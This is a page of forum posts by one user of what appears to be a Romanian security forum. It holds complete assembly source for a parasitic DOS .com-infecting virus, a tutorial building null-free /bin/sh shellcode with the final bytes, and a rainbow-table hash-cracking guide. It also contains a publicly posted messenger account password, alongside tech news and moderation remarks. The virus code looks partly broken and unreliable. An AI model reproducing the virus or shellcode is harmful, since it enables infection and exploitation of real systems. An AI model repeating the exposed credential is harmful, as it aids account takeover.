-
Posts
18712 -
Joined
-
Last visited
-
Days Won
701
Everything posted by Nytro
-
Ultima oara cand am intrat pe ID erau 200 online. Nu ma intereseaza sa recuperez acel ID. Nu am ce face cu el, nu conosteam cam pe nimeni din lista, il foloseam sa mai relatez noutati legate de RST, dar in ultimul timp nu prea mai sunt.
-
Nu prea am timp sa intru pe acest ID si cum nu am ce face cu el: ID: nytro_rst Parola: aivreasaostibre PS: Am vreo 978 de persoane in lista, se poate face reclama la diverse. O idee ar fi sa imi dati ignore, cei care ma aveti in lista. Daca cineva vrea sa ma contacteze imi poate trimite un PM aici. Modificare: Am dat mass cu link-ul acestei pagini imediat dupa ce am postat si dupa 1 minut a intrat cineva pe messenger. Al doilea minut era si schimbata parola.
-
Fyodor Dostoyevsky, Dan Brown, Stephen King
-
Da, aveti dreptate, multi pacalici. Citit topicul si o sa ii vedeti. Deci ne puteti scapa de cativa pacaliti si asta foarte usor: nu mai intrati aici.
-
Inseamna ca si limbajul C e tot outdated, e din 1970, cam asa. Dar vai, se foloseste si in ziua de azi. Nu, ideea era ca aici sunt cateva lucruri interesante. Nu e cine stie ce, dar cred ca poate fi util.
-
How to Perform Cryptanalysis with Rainbow Tables Author: sToRm In this tutorial, I'm going to explain how to break (almost) any hash into cleartext using cryptanalysis with rainbow tables. So first, let's look at a hash, specifically an md5 hash. A standard md5 hash is 32 characters long, composed of alphanumeric (0-9, but only a-f) characters. Another standard hash, but less commonly used is sha1, which is 40 characters long. Basically, the idea behind hashing is that you input a string (your password) and a hash pops out. It is impossible to back-track the hash, i.e. decrypt it (although some weakness have been found in hashing algorithms, there is still no way to reverse the hash), so the only way to crack it is to make a bunch of hashes until we find one that matches. Common ways of creating lots of hashes (with the intent to find a match to the target hash) are brute-forcing and using a wordlist. Brute-force will come up with every string possible and hash it. If you keep a brute-force on long enough (this can take anywhere from a few hours to a few centuries - not kidding), you will eventually find a match, therefore cracking the hash. This is impractical, as most of us don't have access to university or government supercomputing grids. The second method of cracking a hash is by using a wordlist. Wordlists use the same principal as brute-forcing, except that they check the hash against a list of commonly-used passwords. Some wordlists are just dictionaries, while others are planned out and target certain genres of words. Wordlists work surprisingly well, mostly because people are dumb and use passwords like "password" or "1234567890". The third and perhaps most effective method of hash cracking is to use rainbow tables, which I am going to explain to you today. Rainbow tables take the same approach as brute-forcing but are so efficient as to cut down the cracking time to anywhere from a few seconds to a few days. This of course depends on the extension of your rainbow tables. More hashes in your tables means a greater chance of a successful crack, but it trades off for a larger file size and longer cracking time. It's up to you to find the balance. Okay, enough background information; let's get started with learning how to use rainbow tables. The best program for our task is "rcrack". Rcrack is available at http://www.antsight.com/zsl/rainbowcrack/ as an open source project (Note: rcrack and other bundled programs with it are only executable via the command line). Also, grab some free rainbow tables from http://www.freerainbowtables.com/rainbow_tables/ . You'll find most downloads for the tables themselves in BitTorrent format due to the sheer size (Note: never execute the cracking programs that come "pre-packaged" with table torrents, as most are trojaned. The tables themselves are clean, but always download the programs from their official sites.). The third and final thing you need is a decent character set; these direct rcrack to understanding what types of characters you wish to crack. The absolute best one I've found is by Ramius Kahn, which I've mirrored at http://www.gonullyourself.org/downloads/charset.txt . Now that you've got your rainbow tables downloaded, rcrack ready, and a decent charset, there's just one final step before you can use these tables. Using the program "rsort" (included in the rcrack package), you must sort each rainbow table (commands available by running the program with no arguments). Doing so is important enough to the efficiency of the cryptanalysis that rcrack will reject any rainbow tables that aren't sorted. W00t! Now we are ready to crack! Run rcrack with no arguments to learn the commands. Input the hash/es you wish to crack using the appropriate method, and go outside for a few hours. It will tie up your CPU and hard drive (it's pretty resource-intensive), so either do something else, or watch intently at the pretty scrolling text (I'm not kidding, I'm actually apt to do the second sometimes xD). Hopefully, a decrypted hash will pop out at the end, leaving you with a mild case of the lulz. Rcrack is pretty bitchy sometimes, so if you have any questions or are getting some nasty error, please please please refer to the documentation first (however limited it is), then Google, and then post your questions here. Good luck, and happy hashing! Written by sToRm February 15, 2008
-
Parasitic Viruses Author: z3ro model z3ro .the parasitic .com infector org 100h push disclaimer I (and the dmz/gny members/staff) take no responsibility for what you do with the knowledge gain from this article. This is for informational purposes only and i do not encourage criminal behavior. If you have a problem with me writing about this topic and think im am a criminal for doing so id like to point out Article 19 of Universal Declaration of Human Rights which states: "Everyone has the right to freedom of opinion and expression;this right includes freedom to hold opinions without interference and to seek, receive and impart information and ideas through any media and regardless of frontiers." Whats happening this time? 1. Why asm is best for viruses 2. What is a parasitic virus 3. The delta offset and infection 4.fectoid v 1.0 ;~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~; Call Asm_is_the_shit Now if you have ever seen the source for a virus you would have probably noticed that is in assembly(90% of the time). Now why would it be in asm? isn't asm uber hard? Well asm is a low level language as it deals directly with the cpu OS and memory very closely. This allows you things you couldn't do with C for example such as calculate a delta offset(more on this later). When using C it is possible to create a basic overwriting virus. But these are lame and probably wouldn't work in this day and age due to protected mode. ret ;~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~; Call parasitic Ok so what is a parasitic virus. It is quite different from an overwriting virus as it does not damage the host program. There are two main methods to doing this. We must first place a jump at the start of our host to our virus. WE must then calculate the offset to the end of the host and place our virus there. WE must also make sure that we do return control back to the host, or else we risk suspicion and errors. There are two main methods to writing a parasitic virus(DOS0 we could append to the front of the code or at the end. The front tends to be a little faster though it is much more complicated. Te second method is to append at the end and that is what we are going to cover here. retn ;~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~; Call infect Ok so you heard all the theory time for some code . When writing a parasitic virus you first need to calculate the delta offset. this is very easy to do but it is also a very important step first: call next next: pop di sub di,offset next Now we have the offset that points to our code. Another very important part of a virus is the find mechanism. This is also very easy as all we have to do is use the 4eh function as interrupt 21h. masker db "*.com",0 lea dx,[bp+offset masker] mov ah,4eh ect... ok so we have found our unwilling host. But how do we know if we havent infected him already? We simply read the first few bytes and compare them to a string(which usually consists of a jmp to our code). mov ax,3d02h lea dx,[bp+offset dta+30] mov cx,3 int 21h xchg ax,bx int 21h mov ax,word ptr [bp+dta+26] mov cx,word ptr [bp+ID+1] ID db "lalala",0 And now the moment you have all been waiting for INFECTION!!!! Which is infact extremely simple. We first must set up the jmp to our code and then or id string then write them to the front of the host. WE do however have to use function 4200h which is straight forward. mov ah,40h mov cx,3 lea dx,[bp+jmpz+ID] int 21h jmpz db 0e9h ; jmp to start of virus code ID db 20h,20h,0 we then reset the file ptr and write the rest. mov ah,40h mov cx,eov-offset start_virus lea dx,[bp+offset start_virus] int 21h We have jsut gone through the basic methods to a parasitic virus. WE have only discussed how to infect a .com file. In the next article we will cover DOs .EXEs and a little PE(i still cant infect them properly ) file infection. ret ;~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~; push v1.0 call fectoid Alright well i threw togeather some basic code togeather some code for this article. It IS VERY basic. It only covers what we have discussed in this article. Now it is very poorly done tbh but i feel its very easy to learn from. keep in mind i only spent about 20min working on it, but you can laugh if you want. Id also like to point out that none of these viruses will work on windoze. The techniques are similar but now you cant simply overwrite a file and get away with it. Learning how to do this is the first step. Sooner or later ill get into PE infetion which is MUCH MUCH more complicated. Anyways i hope you enjoy ill post a better version sometime soon, an infection checking system that actually works and better coding in general. Enjoy. .model small org 100h .code .startup Vic db "*.com",0 dta db 42 dup (?) junk db 41h,41h,0 leap db 0e9h,41h,0 _fect db ? ; here we set up offsets and the like start: db 0e9h dw 0 do:call next next: pop di sub di,offset next lea si,[bp+offset junk] mov di,100h push di movsw movsb mov _fect,5 ;up to 5 infections per run ;set up dta to match our delta or else bad things will happen.... lea dx,[bp+offset dta] call DTA_set find_first: mov ah,4eh lea dx,[bp+offset vic] int 21h call ok find_next: mov ah,4fh int 21h call ok jc quit jmp find_next ; here we make sure the file is a .com file and check for previsious infections ok: mov ax,3fh lea dx,[bp+offset dta+30] mov cx,3 int 21h xchg ax,bx int 21h mov ax,word ptr [bp+dta+26] mov cx,word ptr [bp+junk+1] add cx,eov-do+3 cmp ax,cx sub ax,3 mov word ptr [bp+buff],ax xor al,al call file_ mov ah,40h mov cx,3 lea dx,[bp+leap] int 21h mov al,2 call file_ mov ah,40h mov cx,eov-do lea dx,[bp+do] int 21h close: mov ah,3eh int 21h dec _fect cmp _fect,0 jnz find_next jmp host host: mov dx,80h int 21h mov di,100h jmp di quit: mov ax,4c00h int 21h ; sets the dta duh... dta_set: mov ah,1ah int 21h retn ; this sets up and returns our file pointer file_: mov ah,42h xor cx,cx xor dx,dx int 21h eov equ $ buff dw ? END
-
Shellcoding with Direct Stack Usage - h0yt3r ###SHELLCODING WITH DIRECT STACK USAGE### ~by h0yt3r Hai This is an example of how to produce nullbyteless shellcode out of a simple assembler code with two methods of stackusage. I will start with an example which shows how to execute a bourne shell in assembler (nasm): ------------bla.asm section .data binsh db '/bin/sh',0 ;save '/bin/sh' string at data section section .text global _start _start: mov eax,11 ;syscall execve mov ebx,binsh ;move the '/bin/sh' string adress into ebx push 0 ;as the next argument (*const argv[]) is an array push binsh ;we will need to save it on the stack and null-terminate it mov ecx,esp ;then put the first adress of the stack into ecx mov edx,0 ;no *const envp[] int 0x80 ;kernel call ;eof ------------ Okay we will assemble and link this code: h0yt3r@Cain:~/Desktop$ nasm -f elf bla.asm h0yt3r@Cain:~/Desktop$ ld -o bla bla.o h0yt3r@Cain:~/Desktop$ ./bla sh-3.2$ exit exit Works fine. Lets have a look at the objdump. h0yt3r@Cain:~/Desktop$ objdump -D bla bla: file format elf32-i386 Disassembly of section .text: 08048080 <_start>: 8048080: b8 0b 00 00 00 mov $0xb,%eax 8048085: bb a0 90 04 08 mov $0x80490a0,%ebx 804808a: 68 00 00 00 00 push $0x0 804808f: 68 a0 90 04 08 push $0x80490a0 8048094: 89 e1 mov %esp,%ecx 8048096: ba 00 00 00 00 mov $0x0,%edx 804809b: cd 80 int $0x80 Disassembly of section .data: 080490a0 <binsh>: 80490a0: 2f das 80490a1: 62 69 6e bound %ebp,0x6e(%ecx) 80490a4: 2f das 80490a5: 73 68 jae 804910f <__bss_start+0x67> ... Disassembly of section .comment: 00000000 <.comment>: 0: 00 54 68 65 add %dl,0x65(%eax,%ebp,2) 4: 20 4e 65 and %cl,0x65(%esi) 7: 74 77 je 80 <_start-0x8048000> 9: 69 64 65 20 41 73 73 imul $0x65737341,0x20(%ebp,%eiz,2),%esp 10: 65 11: 6d insl (%dx),%es:(%edi) 12: 62 6c 65 72 bound %ebp,0x72(%ebp,%eiz,2) 16: 20 32 and %dh,(%edx) 18: 2e 30 35 2e 30 31 00 xor %dh,%cs:0x31302e h0yt3r@Cain:~/Desktop$ As we can see, this code needs more than one section for execution. Its is also full of 0-bytes which is kinda evil for later shellcode since 0-bytes are treated as string terminator when it is passed as a parameter for example. A _useful_ asm code _without_ different sections and _without_ 0-bytes for later shellcode using the call technique: ------------bla2.asm section .text global _start _start: jmp short two ;we short jump to two for saving '/bin/sh' on the stack (look at two now) one: pop ebx ;as the return adress is saved on top of the stack and points to '/bin/sh', ;it is just popped from the stack and saved into ebx (char *path) ;ok the adress of '/bin/shX' is saved in ebx now. the X will represet the null terminating byte xor eax,eax ;0-out eax mov byte [ebx + 7],al ;this instruction replaces the X with the value of al ;(count seven bytes up the data to which ebx is pointing to and put a null there) => nullterminate /bin/sh ;this will also only work if the shellcode is saved on the stack (eg when its injected into a ;vulnerable programme since we only have write access there) push eax ;=> push 0 for null termination of '/bin/sh' push eax ;restore ebx at the stack so that the stackpointer points to nullterminated '/bin/sh' mov ecx,esp ;stackpointer into ecx (*const argv[]) mov edx,esp ;same to edx (*const envp[]) ;we could also say 'mov edx,0' but this would just produce another 0-byte mov al,11 ;syscall execve int 0x80 ;make the kernelcall two: call one ;on execution we directly jump here and make a call _upwards_ again. ;_upwards_ is important. a call allows much longer jump distances, so if we make a call downwards ;with a value of 10 for example, the rest of the value would be filled with 0-bytes. ;so when we call upwards, we are passing a negative number as value ;(leading to 0xff...) which will not any contain 0-bytes. db '/bin/shX' ;when making a call, the adress of the next instruction is pushed onto the stack and will be ;treated as return adress. This tells the processor where execution flow has to be continued when function ;'one' is finished. in this case, the return adress will just point to the '/bin/sh' string. ;eof ------------ Lets look at the objdump again h0yt3r@Cain:~/Desktop$ nasm -f elf bla2.asm h0yt3r@Cain:~/Desktop$ ld -o bla2 bla2.o h0yt3r@Cain:~/Desktop$ objdump -d bla2 h0yt3r@Cain:~/Desktop$ objdump -d foo foo: file format elf32-i386 Disassembly of section .text: 08048060 <_start>: 8048060: eb 10 jmp 8048072 <two> 08048062 <one>: 8048062: 5b pop %ebx 8048063: 31 c0 xor %eax,%eax 8048065: 88 43 07 mov %al,0x7(%ebx) 8048068: 50 push %eax 8048069: 50 push %eax 804806a: 89 e1 mov %esp,%ecx 804806c: 89 e2 mov %esp,%edx 804806e: b0 0b mov $0xb,%al 8048070: cd 80 int $0x80 08048072 <two>: 8048072: e8 eb ff ff ff call 8048062 <one> 8048077: 2f das 8048078: 62 69 6e bound %ebp,0x6e(%ecx) 804807b: 2f das 804807c: 73 68 jae 80480e6 <two+0x74> 804807e: 58 pop %eax h0yt3r@Cain:~/Desktop$ We can see that our code doesn't produce any 0-bytes anymore, so now we could perfectly use it as shellcode. Okay, now an imo more elegant way of code with direct stackusage without calls and jumps: ------------bla3.asm section .text global _start _start: xor eax,eax ;0-out eax push eax ;put 0 onto stack for null-terminating push 0x68732F2F ;put '/bin/sh' onto stack push 0x6E69622F ;actually it is 'hs//nib/' since the string has to be pushed in reversed order. ;we are also using two '/' cos our data needs to stay directly at the 8 byte bound, for not producing 0-bytes mov ebx,esp ;stackpointer (/bin/sh) to ebx (char *path) push eax ; => push 0 push eax ;put ebx onto stack mov ecx,esp ;since ecx needs null-terminated *const argv[] which is same as ebx mov edx,esp ;*const envp[] whatever mov al,11 ;syscall execve int 0x80 ;fire ;eof ------------ Assembling, linking: h0yt3r@Cain:~/Desktop$ nasm -f elf bla3.asm h0yt3r@Cain:~/Desktop$ ld -o bla2 bla3.o h0yt3r@Cain:~/Desktop$ ./bla3 sh-3.2$ exit exit h0yt3r@Cain:~/Desktop$ objdump -d bla3 bla3: file format elf32-i386 Disassembly of section .text: 08048060 <_start>: 8048060: 31 c0 xor %eax,%eax 8048062: 50 push %eax 8048063: b0 0b mov $0xb,%al 8048065: 68 2f 2f 73 68 push $0x68732f2f 804806a: 68 2f 62 69 6e push $0x6e69622f 804806f: 89 e3 mov %esp,%ebx 8048071: 52 push %edx 8048072: 53 push %ebx 8048073: 89 e1 mov %esp,%ecx 8048075: 89 e2 mov %esp,%edx 8048077: cd 80 int $0x80 h0yt3r@Cain:~/Desktop$ This looks even better, doesn't it? Now use it! I'll take katharsis' extractor; it's nothing special but kinda useful h0yt3r@Cain:~/Desktop$ perl shellgen.pl bla3 [*] shellcode generator [*] written by katharsis [*] www.katharsis.x2.to [*] nebelfrost23@web.de [^] generating opcode... [^] generating shellcode... [^] formating shellcode [^] done, here you are: \x31\xc0\x50\xb0\x0b\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x52\x53\x89\xe1\x89\xe2\xcd\x80 h0yt3r@Cain:~/Desktop$
-
A Crash Course In Exporting From A DLL With A Detailed Look At The DEF File Using Visual C++ Professional 6.0 By: George Chastain Date: 7/21/2000 When creating a new DLL, an Import Library (with a ".LIB" extension) is created. This Import Library has to remain consistent with the DLL used to create the library -- at least for the code utilized by the client. Occasionally, you may find yourself delivering multiple products to multiple customers and some of these products may share a particular DLL. But what happens if a customer obtains a new version of one of those products but doesn't obtain new versions of the other products that use that particular DLL? It is possible that the new version of the DLL delivered with the new product could break the other, older product that the customer already has. This can happen if information contained within the new version of the DLL becomes inconsistent with the information recorded for the DLL by the Import Library used to link the other older products. Before describing how to help alleviate some the possibility of this occurring, we will take a brief look at what an Import Library contains. The Import Library The Import Library does not contain any code. It may be thought of as a "road map" to the functions, classes and other declarations provided by the DLL. When linking a client of a DLL, the Linker needs to record the information contained in this "road map" in the client that will use the DLL. That information will allow the client to locate the things provided, or exported, by the DLL. See Figure 1. Figure 1 DLL And Import Library When a client of a DLL references something exported by the DLL, the client utilizes the information obtained by linking with the Import Library to find the item being referenced in the DLL. There is no actual code or resources in the Import Library. All of that is contained in the DLL. The Import Library just tells the client of the DLL where to find the things that the client needs from the DLL. Figure 2 Client Links To Import Library But just how does a client find the stuff provided by the DLL? Names And Numbers When the Linker links a DLL, it assigns to the exported functions, classes or data, unique names and identifying numbers to all the exported items. For C++ functions and classes, the unique names are called Decorated Names. And the unique numbers assigned to the exported items are called Ordinals. Earlier, I mentioned a potential problem in which the Import Library used to link a client can become "inconsistent" with a newer version of the DLL associated with that Import Library. To explain what happens, we will take a look at two examples. I will not go into detail on how to create a DLL using Visual C++. If you do not know how to do this you should review the subject in the MSDN library or any book on Visual C++ programming. The first example we will look at exports in the conventional manner that most developers are familiar with. I have created a DLL project called ExportDemoDLL1. In that project I created a header file called MyFunctions.h. The contents are shown in Figure 3. Figure 3 ExportDemoDLL1 MyFunctions.h Notice that the DLL exports two functions using the "__declspec(dllexport)" directive and a class using the AFX_EXT_CLASS macro. Currently, the AFX_EXT_CLASS macro is simply defined to be AFX_CLASS_EXPORT by the Microsoft header file AFXV_DLL.h if a DLL is being built. The AFX_CLASS_EXPORT, currently, is itself defined to be __declspec(dllexport). If an executable is being built, Microsoft defines the AFX_EXT_CLASS macro as AFX_CLASS_IMPORT which, in turn is declared as "__declspec(dllimport)". You may occasionally see classes written by developers that make use of the AFX_CLASS_EXPORT or __declspec directly. However, you are encouraged to use the proper macro AFX_EXT_CLASS when creating a class to export in case Microsoft changes the way in which class exports must be made in a future version of Visual Studio/Visual C++. You will also notice the use of a preprocessor directive "_EXPORTING". This, together with the use of AFX_EXT_CLASS, makes it easy for you to create a single header file for use by the DLL project to export functions and data and for use by the client project to import the functions and data. This helps eliminate the need to maintain two separate header files. When you build your DLL, specify the preprocessor directive /D "_EXPORTING" in the list of compiler options. Do not do this when building the client and you will be able to use the same header file. When the ExportDemoDLL1.dll is built, the exports are translated into Decorated Names and Ordinal Numbers as shown highlighted in the "Export Function List View" windowpane of Dependency Walker: Figure 4 Export Function List View of Dependency Walker The "Export Function List View" windowpane has two columns of interest to us. The first is labeled "Ordinal". This is the unique Ordinal Number assigned to the exported function. The other column of interest is labeled "Function" and it shows the unique Decorated Name given to the exported function within the DLL. The client makes use of this information when locating the functions. The functions are defined as shown in Table 1. ***Vezi sursa*** Later, I will explain how to obtain the Decorated Names for items you wish to export and how to convert Decorated Names to Undecorated Names. You will notice in Figure 3 above that the class method CMyCLass::SAbout() is implemented within the class declaration. That is, the body is defined in the class declaration instead of within the CPP file for the class. When you fully define a class method within the class declaration, it is normally treated as an inline function. However, when you export an inline function with __declspec(dllexport), the inline function is always instantiated and exported, whether or not any module in the client program references the function. The function is presumed to be imported by another program. When you export an entire class using the AFX_EXT_CLASS macro as illustrated above you are, in effect, exporting the inline function SAbout(). This is why you see the method listed as an exported function in the "Export Function List View" of Dependency Walker in Figure 4 above. Now, assume that we have built a client application that makes use of this ExportDemoDLL1 DLL. Then we decide later to add a new function to the DLL and export it. We will try this and add a function called Sub() as shown in the new version of the header file in Figure 5. Figure 5 New Version of MyFunctions.h We now build the new version of the DLL and take a look at the exports in Dependency Walker: Figure 6 New Version of ExportDemoDLL in Dependency Walker Look at what happened to the exported function Sum(). Its Ordinal Number is now 8 where it was 7 in the previous version of ExportDemo1.DLL. If we do not re-link the client application with the Import Library created when building the new version of the ExportDemoDLL1.DLL the application will be looking for the function Sum() in the wrong location in the DLL!! The results are unpredictable and typically catastrophic. Further, you usually will have no clue as to why the executable crashed! You could spend a lot of time trying to debug this one. Now that we understand the problem, what can we do about it? The answer is to explicitly define Ordinals for the exported functions so that the exported functions will always receive the same ordinals on every release of the DLL. Defining Ordinals -- The DEF Way For the next part of the discussion, we will assume that a new DLL project has been created. I will refer to it as ExportDemoDLL2. When you use the Visual C++ AppWizard to create a new DLL project, the wizard creates a file called the Module Definition File. The file has a ".DEF" extension and contains information similar to that shown in the example in Figure 7. Figure 7 Default DEF File We will be making some additions to the contents of this file. But before we do we need to remove the export directives and macros from the header file MyFunctions.h that was created for our first example, ExportDemoDLL1. The header file for our new example DLL is shown in Figure 8. We haven’t added the function Sub() yet. We will do that shortly. Figure 8 New MyFunctions.h For ExportDemoDLL2 Now that we no longer state that we want the entire class CMyClass exported in the header (because we removed the AFX_EXT_CLASS macro) you must add export directives to the DEF file. The required entries for the DEF file for ExportDemoDLL2 are shown in Figure 9. Again, we will add our function Sub() shortly. Figure 9 New DEF File I have explicitly assigned ordinals to the exported functions. They are shown after the decorated names following the "@" sign. Text appearing to the right of a semi-colon is treated as a comment. The line containing the keyword LIBRARY specifies the internal name of the DLL. The line containing the keyword DESCRIPTION defines a string to be written into an .rdata section of the DLL. This description is different from the text inserted in the library by the Linker’s /COMMENT option. Now we are ready to build the new version of our DLL. But what happens now?! We get an unresolved external symbol error from the Linker! See Figure 10. igure 10 Unresolved External Symbol I mentioned above that because we were exporting an entire class with AFX_EXT_CLASS, the inline methods are always expanded and exported just like any other class method whose implementation is provided in a CPP file. But now we have removed the AFX_EXT_CLASS macro from the class declaration. The inline method CMyClass::SAbout() will now remain treated as an inline function. You cannot export an inline function because there is nothing to export. There are two solutions to this situation. Option 1 We may remove the definition for CMyClass::SAbout() from the header file and place it in the CPP file MyFunctions.cpp. The new header file will then appear as shown in Figure 11. Figure 11 MyFunctions.h Without Method Definition When we do this we can successfully build the DLL and examine it in Dependency Walker. You will notice that the method SAbout() is listed as an exported function in the "Export Function List View" windowpane just as it was before. Figure 12 ExampleDemoDLL2 With Non-Inlined Method Exported Option 2 Or, we may simply remove the export line for the member function SAbout from the DEF file. In this case MyFunctions.h will remain as shown in Figure 8. The DEF file would then appear as shown in Figure 13. And since the header file MyFunctions.h will be included in source code that references the DLL, the method CMyClass::SAbout() will continue to be treated as an inline function. But there is a "gotcha" with this implementation so I recommend that you use the first implementation. I will explain why later when I discuss the pitfalls of using DEF Files. Figure 13 DEF File Without Inlined Class Method But for now, notice that in the "Ordinal" column of the "Export Function List View" windowpane the exported functions are assigned the ordinals I defined in the DEF file. Ordinal numbers may be any number between 1 and 65,535 inclusive. Ordinal numbers 4 and 5 are skipped in the DEF file for the example ExportDemoDLL2 so Dependency Walker displays them with no export entry. As a matter of good practice, you should number your exports sequentially. Now, let us see what happens when we add the function Sub() to this new DLL project like we did in the example ExportDemoDLL1. I modified the header file to appear as shown in Figure 14. Note that I am going with the first option in the implementation of the method CMyClass::SAbout(). Figure 14 New MyFunctions.h With Function Sub() Then, I modified the DEF file as follows: Figure 15 New DEF File With Export Entry For Function Sub() After building the ExportDemoDLL2 again, we can re-examine the DLL using Dependency Walker. Figure 16 ExportDemoDLL2 In Dependency Walker With Function Sub() We now see the export for the function Sub() at the top of the "Export Function List View" windowpane of Dependency Walker with the assigned ordinal of 1. Notice that the ordinals for the other exported functions are unchanged from those shown in Figure 12 above. If I were to now place this new DLL (with the added function Sub()) from the example project ExportDemoDLL2 with an application linked with the Import Library produced by the version of ExportDemoDLL2 created before function Sub() was added, the executable would still run successfully. The newly added function Sub() would simply be ignored by the application. Exporting Global Variables Exporting global variables is just as easy as exporting functions. They will also be listed in the "Export Function List View" windowpane of Dependency Walker along with the functions and class methods that are exported. The only thing to remember is not to define the global in a header file that is included in both the DLL and your client or you will get an error from the Linker that the symbol is multiply | defined. As with the functions, you can export a global variable in two ways. The first method of exporting a global is to add a line to the header file as shown in MyFunctions.h in Figure 17. Then, in a CPP file of your DLL project, define the global variable as you would any global variable. ................................................................................. Sursa (articolul complet): How To Define And Use DLL Export Ordinals
-
Deci sa banez 85% dintre utilizatorii activi ai forumului?
-
Google se afiseaza cu noul Chrome OS si notebook-ul aferent
Nytro posted a topic in Stiri securitate
Google se afiseaza cu noul Chrome OS si notebook-ul aferent de Silviu Anton | 8 decembrie 2010 Asa cum va anuntam si ieri, Google a lansat oficial varianta beta de testare a sistemului de operare Chrome, impreuna cu un nou notebook pe care sa ruleze. Google Chrome OS a fost conceput ca o platforma care sa imbine sistemul de operare de pe calculator cu Internetul: utilizatorul nu mai este nevoie sa ruleze programele direct de pe computer, ci le poate rula online, pe Web. Prin crearea programelor independente, Google se asigura ca toate aplicatiile si fisierele de orice tip vor avea intotdeauna back-up si vor fi disponibile oriunde si oricand, de vreme ce Chrome OS va fi si el disponibil indiferent de locul in care se afla userul. Asadar, posibilitatile sunt nelimitate, cu atat mai mult cu cat exista si Chrome Web Store, care ofera atat aplicatii platite, cat si gratuite. In ceea ce priveste echipamentul hardware pe care va rula initial Chome OS, marturisim ca cei de la Google au reusit sa ne surprinda intr-un mod placut. Notebook-ul Cr-48 are un ecran de 12 inci, tastatura full-size si un clickpad generos. Procesorul este Qualcomm Gobi 3G, iar bateria are o durata de viata de pana la 8 ore. Ceea ce a reusit sa ne straneasca mirarea a fost faptul ca Google a ales sa nu branduiasca notebook-ul cu nicio marca sau logo, impachetandu-l intr-un design total neatragator. Poate ca, cel putin de aceasta data, Google nu a tintit tocmai imaginea si look-ul, concentrandu-se in schimb pe lucruri mai importante de atat. Nu putem decat sa presupunem ca gigantul Internetul a vrut astfel sa ne transmita un mesaj, si anume, ca nu se vrea a fi un competitor pentru dezvoltatorii din zona hardware. O dovada in acest sens ar mai putea reprezenta si faptul ca Google a ales sa nu comercializeze acest laptop, ci sa il distrubuie gratuit printr-un program numit Chrome OS Pilot. Pentru a va inscrie in programul beta, puteti aplica aici. Cum insa numarul de unitati ale acestui laptop este limitat, cel mai probabil va trebui sa asteptati pana la jumatatea anului viitor, cand vor aparea modelele celor de la Samsung si Acer, care cu siguranta vor fi mult mai atragatoare de atat. Sursa: Google se afiseaza cu noul Chrome OS si notebook-ul aferent | Hit.ro -
Cele mai puternice procesoare AMD Phenom cu sase si doua nuclee de Laurentiu Crisu | 8 decembrie 2010 AMD a lansat a doua noi modele de procesoare desktop Black Edition, unul dintre ele fiind varful de gama al seriei cu sase nuclee, AMD Phenom II X6. Aceste procesoare se alatura seriei de cipseturi AMD 8, dar si recent lansatei serii de placi grafice ATI Radeon HD 6000, ce ofera o experienta inedita 3D cu performante multimedia accelerate GPU. Procesorul AMD Phenom II X6 1100T este noul varf de gama pentru procesoarele desktop AMD ce ofera functionalitati de top cum ar fi multiplicatori de ceas deblocati, tehnologie Turbo CORE si performante pe sase nuclee. Procesorul AMD Phenom II X2 565 Black Edition este o alternativa accesibila pentru entuziastii in cautare de capabilitati de personalizare a performantelor la viteze incredibile. Cerintele tot mai mari de continut media HD si 3D au creat un nou standard pentru experienta vizuala. Versatilitatea computerelor cu tehnologie VISION creaza posibilitati nelimitate pentru utilizatori, cum ar fi orientarea catre Internet a divertismentului video, crearea de continut foto si video, rularea celor mai pretentioase jocuri PC si imbunatatirea performantelor multi-tasking. Utilizatorii in cautarea unui nou PC ce combina valoarea performantelor multi-core, optiuni multiple ale platformei PC, continut video HD si grafica 3D pot opta pentru un computer cu tehnologie VISION de la AMD. Sursa: Cele mai puternice procesoare AMD Phenom cu sase si doua nuclee | Hit.ro
-
Internet Explorer 9 introduce instrumentul anti-tracking pe Web de Cristina Enescu | 8 decembrie 2010 Browser-ul Microsoft IE9 va avea instrumente care vor restrictiona colectarea datelor despre activitatea online a utilizatorului, impiedicand astfel ca site-urile vizitate sa impartaseasca informatii despre activitatea acestuia pe Web. Vestea vine pe fondul criticilor adresate de guvernul Statelor Unite industriei de computere, legate de progresul lent in domeniul protejarii confidentialitatii utilizatorului. Intr-o postare pe blog, Microsoft a declarat ca oamenii nu isi dau seama ca atunci cand viziteaza un site, informatiile legate de ceea ce cauta sau cumpara ajung adesea in posesia altor companii, fara ca utilizatorii sa fie instiintati. Odata cu IE9, Microsoft planuieste sa introduca ceea ce numeste “Tracking Protection List”, care, potrivit companiei, se comporta asemeni listei “Do Not Call” ce limiteaza numarul persoanelor care pot fi sunate de firmele de marketing. Utilizatorii vor putea sa creeze liste prin care datele lor vor putea fi impartasite numai pe site-urile alese chiar de ei. Cand va fi pornit, sistemul ar putea impiedica vizualizarea anumitor reclame sau a altor functii in momentul in care utilizatorii viziteaza site-urile respective. Oricine va putea sa scrie o lista si sa o impartaseasca cu altii pentru a avea parte de aceeasi protectie, a declarat Microsoft. Compania planuieste, de asemenea, sa lanseze formatele si standardele pentru liste sub o licenta libera, pentru a putea fi adoptate si de alte browsere. Microsoft a mai adaugat ca primele versiuni ale acestor noi functii vor fi incluse in versiunea IE9, programata pentru lansare la inceputul lui 2011. Sursa: Internet Explorer 9 introduce instrumentul anti-tracking pe Web | Hit.ro
-
Am observat ca sunt unele probleme in legatura cu mail-ul de activare al unui cont nou creat. Daca v-ati creat un cont si nu ati primit mail-ul de activare, trimiteti-mi un MP si se rezolva. Nu va voi retrimite un email de activare ci va voi activa eu contul.
-
Nu trebuie sa le citesti pe toate, ar fi absurd, citeste fiecare ce anume il intereseaza.
-
